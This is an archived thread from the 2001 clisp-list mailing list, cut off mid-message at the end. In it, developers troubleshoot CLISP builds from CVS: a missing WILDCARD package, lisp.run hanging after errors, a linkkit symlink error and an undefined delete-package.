Apr 2001 17:38:28 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010420173828.E20026@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Fri, Apr 20, 2001 at 12:15:44PM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Setting Orange, Day 37 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, Apr 20, 2001 at 12:15:44PM -0400, Sam Steingold wrote: > latest CLISP means the CVS version, right? Apologies, that wasn't very clear was it? Yes, from CVS. > I will fix this right away. > > > | ;; Loading file clocc.fas ... > > | ;; Loading of file clocc.fas is finished. > > | ;; Loading file src/defsystem-3.x/defsystem.fas ... > > | *** - FIND-ALL-SYMBOLS: argument # should be a string or a symbol > > please recompile defsystem Curious, did the clocc CVS server send me *.fas files? Time to investigate.... -- Dave Pearson http://www.davep.org/ From davep@davep.org Fri Apr 20 23:08:43 2001 Received: from tele-post-20.mail.demon.net ([194.217.242.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14qqZX-0000gB-00 for ; Fri, 20 Apr 2001 23:08:43 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by tele-post-20.mail.demon.net with esmtp (Exim 2.12 #2) id 14qqZU-000IRL-0K for clisp-list@lists.sourceforge.net; Sat, 21 Apr 2001 06:08:41 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id HAA28473 for clisp-list@lists.sourceforge.net; Sat, 21 Apr 2001 07:08:39 +0100 Date: Sat, 21 Apr 2001 07:08:39 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010421070839.L20026@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Fri, Apr 20, 2001 at 12:15:44PM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Sweetmorn, Day 38 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, Apr 20, 2001 at 12:15:44PM -0400, Sam Steingold wrote: > > [SNIP: lisp.run hangs and hogs process when encountering an error] > > latest CLISP means the CVS version, right? > I will fix this right away. Did a fix happen? I refreshed from CVS just now but compiling still dies as it did before: ,---- | Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ... | *** - There is no package with name "WILDCARD" `---- and hangs hogging the processor. I guess the above is also a bug in wildcard.lisp as well (as in, it's a bug that kicks off the unrelated problem of clisp hanging when encountering an error)? -- Dave Pearson http://www.davep.org/ From sds@gnu.org Mon Apr 23 08:26:53 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14riEn-0005mG-00 for ; Mon, 23 Apr 2001 08:26:53 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA10970; Mon, 23 Apr 2001 11:26:47 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010421070839.L20026@hagbard.davep.org> Date: 23 Apr 2001 11:24:18 -0400 Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010421070839.L20026@hagbard.davep.org> > * On the subject of "Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)" > * Sent on Sat, 21 Apr 2001 07:08:39 +0100 > * Honorable Dave Pearson writes: > > Did a fix happen? I refreshed from CVS just now but compiling still > dies as it did before: it works for me since this morning. :-) > and hangs hogging the processor. I cannot reproduce this. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Isn't "Microsoft Works" an advertisement lie? From davep@davep.org Mon Apr 23 09:30:13 2001 Received: from anchor-post-32.mail.demon.net ([194.217.242.90]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rjE4-0000u7-00 for ; Mon, 23 Apr 2001 09:30:13 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 14rjE2-0002lu-0W for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 17:30:10 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id RAA21055 for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 17:15:51 +0100 Date: Mon, 23 Apr 2001 17:15:51 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010423171551.S28537@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Apr 23, 2001 at 11:24:18AM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 40 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Apr 23, 2001 at 11:24:18AM -0400, Sam Steingold wrote: > > Did a fix happen? I refreshed from CVS just now but compiling still dies > > as it did before: > > it works for me since this morning. :-) It might be useful to indicate what change might coincide with your morning so I'll know if I'm using your idea of "this morning" and any code that goes with it. > > and hangs hogging the processor. > > I cannot reproduce this. I can reproduce this at will (although I'm rebuilding clisp right now with source pulled from CVS just a few moments ago, I'll let you know what happens once I've rebuilt and re-tested) like this: ,---- | davep@hagbard:~/temp$ cat foo.cl | (error "Boo!") | davep@hagbard:~/temp$ clisp -K full -a foo.cl | | *** - Boo! `---- at that point there's a lisp.run sitting in memory pegging the processor. In my limited knowledge of clisp it would appear that any ERROR call in a "batch" call to clisp causes lisp.run to hang (and it hangs such that it won't response to a Ctrl-C (other then to tell me that I've hit Ctrl-C) but will be killed. -- Dave Pearson http://www.davep.org/ From davep@davep.org Mon Apr 23 09:39:40 2001 Received: from finch-post-10.mail.demon.net ([194.217.242.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rjND-000288-00 for ; Mon, 23 Apr 2001 09:39:39 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 14rjNB-0002iH-0A for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 16:39:37 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id RAA21484 for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 17:34:56 +0100 Date: Mon, 23 Apr 2001 17:34:56 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Message-ID: <20010423173456.U28537@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 40 of the season of Discord, Anno Mung 3167 Subject: [clisp-list] Problem building clisp regarding clisp.h Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I wonder of someone might be able to see where I'm going wrong when building clisp from sources pulled from CVS. Each time I pull the sources I go into the build directory that was created when I did a configure on clisp (clisp/with-gcc-wall in this case) and issue a "make clean" followed by a "make". The build system always dies after a while with: ,---- | chmod a+x clisp-link | test -d linkkit || mkdir linkkit | cd linkkit && ln -s ../modules.d modules.d | cd linkkit && ln -s ../modules.c modules.c | cd linkkit && ln -s ../clisp.h clisp.h | ln: clisp.h: File exists | make: *** [linkkit] Error 1 `---- If I clean some of the content of with-gcc-wall/linkkit: ,---- | davep@hagbard:/usr/local/src/clisp/with-gcc-wall$ ls -lG linkkit/ | total 0 | lrwxrwxrwx 1 davep 10 Apr 20 13:13 clisp.h -> ../clisp.h | lrwxrwxrwx 1 davep 12 Apr 23 17:22 modules.c -> ../modules.c | lrwxrwxrwx 1 davep 12 Apr 23 17:22 modules.d -> ../modules.d `---- and issue a "make" again, the build carries on. Am I doing something wrong here? When I pull an update from CVS should I be going back a level in the build process or something? -- Dave Pearson http://www.davep.org/ From davep@davep.org Mon Apr 23 09:39:40 2001 Received: from finch-post-10.mail.demon.net ([194.217.242.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rjND-000282-00 for ; Mon, 23 Apr 2001 09:39:39 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 14rjNA-0002iH-0A for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 16:39:36 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id RAA21613 for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 17:38:01 +0100 Date: Mon, 23 Apr 2001 17:38:01 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010423173801.V28537@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Apr 23, 2001 at 11:24:18AM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 40 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Apr 23, 2001 at 11:24:18AM -0400, Sam Steingold wrote: > > Did a fix happen? I refreshed from CVS just now but compiling still dies > > as it did before: > > it works for me since this morning. :-) I'm still getting this problem: ,---- | Compiling file /usr/local/src/clisp/with-gcc-wall/wildcard/wildcard.lisp ... | *** - There is no package with name "WILDCARD" `---- and lisp.run still hangs and hogs the processor at that point. This is with clisp sources pulled from CVS as of this clisp-devel message: ,----[ Mon, 23 Apr 2001 07:43:51 -0700 ] | Update of /cvsroot/clisp/clisp/modules/clx/new-clx/demos | In directory usw-pr-cvs1:/tmp/cvs-serv1799 | | Modified Files: | clx-demos.lisp | Log Message: | getenv is in EXT, not SYS now `---- I'll try a "make distclean" and work on from there. -- Dave Pearson http://www.davep.org/ From sds@gnu.org Mon Apr 23 10:22:33 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rk2j-0007cA-00 for ; Mon, 23 Apr 2001 10:22:33 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA05368; Mon, 23 Apr 2001 13:22:30 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> <20010423171551.S28537@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010423171551.S28537@hagbard.davep.org> Date: 23 Apr 2001 13:19:59 -0400 Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010423171551.S28537@hagbard.davep.org> > * On the subject of "Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)" > * Sent on Mon, 23 Apr 2001 17:15:51 +0100 > * Honorable Dave Pearson writes: > > On Mon, Apr 23, 2001 at 11:24:18AM -0400, Sam Steingold wrote: > > > > Did a fix happen? I refreshed from CVS just now but compiling still dies > > > as it did before: > > > > it works for me since this morning. :-) > > It might be useful to indicate what change might coincide with your > morning so I'll know if I'm using your idea of "this morning" and any > code that goes with it. the change is in wildcard.lisp defpackage form. > > > and hangs hogging the processor. > > > > I cannot reproduce this. > > I can reproduce this at will (although I'm rebuilding clisp right now > with source pulled from CVS just a few moments ago, I'll let you know > what happens once I've rebuilt and re-tested) like this: please rm -rf the build directory before rebuilding, just to make sure... > ,---- > | davep@hagbard:~/temp$ cat foo.cl > | (error "Boo!") > | davep@hagbard:~/temp$ clisp -K full -a foo.cl > | > | *** - Boo! > `---- $ time clisp ~/foo.lisp "load" *** - boo! real 0m0.187s user 0m0.111s sys 0m0.073s $ time clisp -K full -a ~/foo.lisp "load" *** - boo! real 0m0.203s user 0m0.131s sys 0m0.063s $ -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on History doesn't repeat itself, but historians do repeat each other. From rurban@x-ray.at Mon Apr 23 10:26:56 2001 Received: from viemta06.chello.at ([195.34.133.56]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rk6x-00087A-00 for ; Mon, 23 Apr 2001 10:26:55 -0700 Received: from x-ray.at ([212.186.199.154]) by viemta06.chello.at (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43) with ESMTP id <20010423172650.GZMM27182.viemta06@x-ray.at> for ; Mon, 23 Apr 2001 19:26:50 +0200 Message-ID: <3AE4663C.D75A75A1@x-ray.at> Date: Mon, 23 Apr 2001 17:28:28 +0000 From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: en,de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem building clisp regarding clisp.h References: <20010423173456.U28537@hagbard.davep.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dave Pearson schrieb: > > I wonder of someone might be able to see where I'm going wrong when building > clisp from sources pulled from CVS. > > Each time I pull the sources I go into the build directory that was created > when I did a configure on clisp (clisp/with-gcc-wall in this case) and issue > a "make clean" followed by a "make". > > The build system always dies after a while with: > | chmod a+x clisp-link > | test -d linkkit || mkdir linkkit > | cd linkkit && ln -s ../modules.d modules.d > | cd linkkit && ln -s ../modules.c modules.c > | cd linkkit && ln -s ../clisp.h clisp.h > | ln: clisp.h: File exists this is impossible. you should have an empty linkkit dir. if not delete linkkit/clisp.h. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Mon Apr 23 11:23:47 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rkzz-0007DR-00 for ; Mon, 23 Apr 2001 11:23:47 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA17792; Mon, 23 Apr 2001 14:23:44 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem building clisp regarding clisp.h References: <20010423173456.U28537@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010423173456.U28537@hagbard.davep.org> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 Date: 23 Apr 2001 14:21:11 -0400 Message-ID: Lines: 29 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010423173456.U28537@hagbard.davep.org> > * On the subject of "[clisp-list] Problem building clisp regarding clisp.h" > * Sent on Mon, 23 Apr 2001 17:34:56 +0100 > * Honorable Dave Pearson writes: > > The build system always dies after a while with: > > ,---- > | chmod a+x clisp-link > | test -d linkkit || mkdir linkkit > | cd linkkit && ln -s ../modules.d modules.d > | cd linkkit && ln -s ../modules.c modules.c > | cd linkkit && ln -s ../clisp.h clisp.h > | ln: clisp.h: File exists > | make: *** [linkkit] Error 1 > `---- I have known about this for quite a while, but assumed that it was "just me" and did `rm -rf linkkit` here. I will fix this. You will have to remake your Makefile using makemake (see `head -20 Makefile`) after remaking makemake using makemake.in (see configure). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on He who laughs last thinks slowest. From davep@davep.org Mon Apr 23 13:27:55 2001 Received: from finch-post-11.mail.demon.net ([194.217.242.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rmw7-0002db-00 for ; Mon, 23 Apr 2001 13:27:55 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by finch-post-11.mail.demon.net with esmtp (Exim 2.12 #1) id 14rmw4-00012j-0B for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 20:27:52 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id VAA26997 for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 21:24:46 +0100 Date: Mon, 23 Apr 2001 21:24:46 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010423212446.C28537@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> <20010423171551.S28537@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Apr 23, 2001 at 01:19:59PM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 40 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Apr 23, 2001 at 01:19:59PM -0400, Sam Steingold wrote: > > It might be useful to indicate what change might coincide with your > > morning so I'll know if I'm using your idea of "this morning" and any > > code that goes with it. > > the change is in wildcard.lisp defpackage form. Hmm, I'm not sure this tells me which CVS update should be responsible. But, anyway, after a distclean it seems to be building past that. The build is now dying on: ,---- | Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ... | *** - COMMON-LISP:EVAL: the function delete-package is undefined `---- > > I can reproduce this at will (although I'm rebuilding clisp right now > > with source pulled from CVS just a few moments ago, I'll let you know > > what happens once I've rebuilt and re-tested) like this: > > please rm -rf the build directory before rebuilding, just to make > sure... Totally nuke the directory specified when I do the initial configure? Ok, I'll give that a shot. > [SNIP examples of it working for Sam] Assuming that my total nuke and build test doesn't help, are there some obvious environmental differences I should be looking for? -- Dave Pearson http://www.davep.org/ From davep@davep.org Mon Apr 23 14:15:18 2001 Received: from anchor-post-33.mail.demon.net ([194.217.242.91]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14rnfy-0000Ef-00 for ; Mon, 23 Apr 2001 14:15:18 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 14rnft-0002cf-0X for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 22:15:13 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id WAA10179 for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2001 22:15:02 +0100 Date: Mon, 23 Apr 2001 22:15:02 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010423221502.E28537@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> <20010423171551.S28537@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Apr 23, 2001 at 01:19:59PM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 40 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Apr 23, 2001 at 01:19:59PM -0400, Sam Steingold wrote: > > I can reproduce this at will (although I'm rebuilding clisp right now > > with source pulled from CVS just a few moments ago, I'll let you know > > what happens once I've rebuilt and re-tested) like this: > > please rm -rf the build directory before rebuilding, just to make sure... Right, I totally nuked the build directory and built from scratch. The build died like this: ,---- | Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ... | *** - COMMON-LISP:EVAL: the function delete-package is undefined `---- and the hang/hog happened. It tool a "killall lisp.run" to get my prompt back. -- Dave Pearson http://www.davep.org/ From sds@gnu.org Tue Apr 24 07:56:37 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14s4F3-00047q-00 for ; Tue, 24 Apr 2001 07:56:37 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA23773; Tue, 24 Apr 2001 09:56:34 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> <20010423171551.S28537@hagbard.davep.org> <20010423221502.E28537@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010423221502.E28537@hagbard.davep.org> Date: 24 Apr 2001 10:53:26 -0400 Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010423221502.E28537@hagbard.davep.org> > * On the subject of "Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)" > * Sent on Mon, 23 Apr 2001 22:15:02 +0100 > * Honorable Dave Pearson writes: > > ,---- > | Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ... > | *** - COMMON-LISP:EVAL: the function delete-package is undefined > `---- I fixed and tested this. please $ cvs up modules/bindings/linuxlibc6/linux.lisp and make sure it is linked to with-gcc-wall/bindings/linuxlibc6/linux.lisp > and the hang/hog happened. It tool a "killall lisp.run" to get my > prompt back. I do not observe this, either before or after my fix. I would appreciate it if could create a reproducible test case, i.e., a stand-alone file foo.lisp such that $ clisp -norc -c foo.lisp hangs/hogs. Thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on OK, so you're a Ph.D. Just don't touch anything. From davep@davep.org Tue Apr 24 08:45:25 2001 Received: from anchor-post-30.mail.demon.net ([194.217.242.88]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14s50G-0000Eq-00 for ; Tue, 24 Apr 2001 08:45:24 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-30.mail.demon.net with esmtp (Exim 2.12 #1) id 14s50E-000Jn5-0U for clisp-list@lists.sourceforge.net; Tue, 24 Apr 2001 16:45:22 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id QAA25095 for clisp-list@lists.sourceforge.net; Tue, 24 Apr 2001 16:45:21 +0100 Date: Tue, 24 Apr 2001 16:45:21 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010424164521.G4029@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> <20010423171551.S28537@hagbard.davep.org> <20010423221502.E28537@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, Apr 24, 2001 at 10:53:26AM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Prickle-Prickle, Day 41 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, Apr 24, 2001 at 10:53:26AM -0400, Sam Steingold wrote: > > ,---- > > | Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ... > > | *** - COMMON-LISP:EVAL: the function delete-package is undefined > > `---- > > I fixed and tested this. Confirmed here. Thanks. > > and the 